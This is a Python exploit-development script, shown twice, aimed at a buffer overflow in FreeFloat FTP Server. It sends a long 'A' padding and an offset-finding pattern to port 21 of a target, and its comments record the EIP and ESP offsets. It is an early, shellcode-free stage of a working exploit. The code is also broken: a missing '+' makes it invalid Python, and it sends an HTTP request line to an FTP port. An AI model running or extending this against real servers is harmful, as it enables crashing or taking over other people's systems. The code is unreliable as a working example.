<filename>src/python/freefloatftp.py
import socket

# EIP 247
# ESP 259

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('IP', 21))

junk = 'A'*247
pattern = 'vs1m0IEEh2QXfkucGSKg64Awa8G6rOQqDwiYpW1vIT0nLzXDFS9f2Yq1HeLRe1fqxjuwKM752PKZMaBMKuMJRanBsWbeD2i6F6qjGM8dMLmrkpjuD4wWfF1G2XLCRrBEGPIkHr8FAN5UzVzCkKB1Rq'

eip = 'B'*4
junk2 = 'A'*8
esp = 'C'*4
junk3 = 'A'*100

payload = 'GET' + junk + pattern ' HTTP/1.1\r\n'

s.send(payload.encode('raw_unicode_escape'))
print("Payload send successfully")
s.close()
<filename>src/python/freefloatftp.py
import socket

# EIP 247
# ESP 259

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('IP', 21))

junk = 'A'*247
pattern = 'vs1m0IEEh2QXfkucGSKg64Awa8G6rOQqDwiYpW1vIT0nLzXDFS9f2Yq1HeLRe1fqxjuwKM752PKZMaBMKuMJRanBsWbeD2i6F6qjGM8dMLmrkpjuD4wWfF1G2XLCRrBEGPIkHr8FAN5UzVzCkKB1Rq'

eip = 'B'*4
junk2 = 'A'*8
esp = 'C'*4
junk3 = 'A'*100

payload = 'GET' + junk + pattern ' HTTP/1.1\r\n'

s.send(payload.encode('raw_unicode_escape'))
print("Payload send successfully")
s.close()
# EIP 247 # ESP 259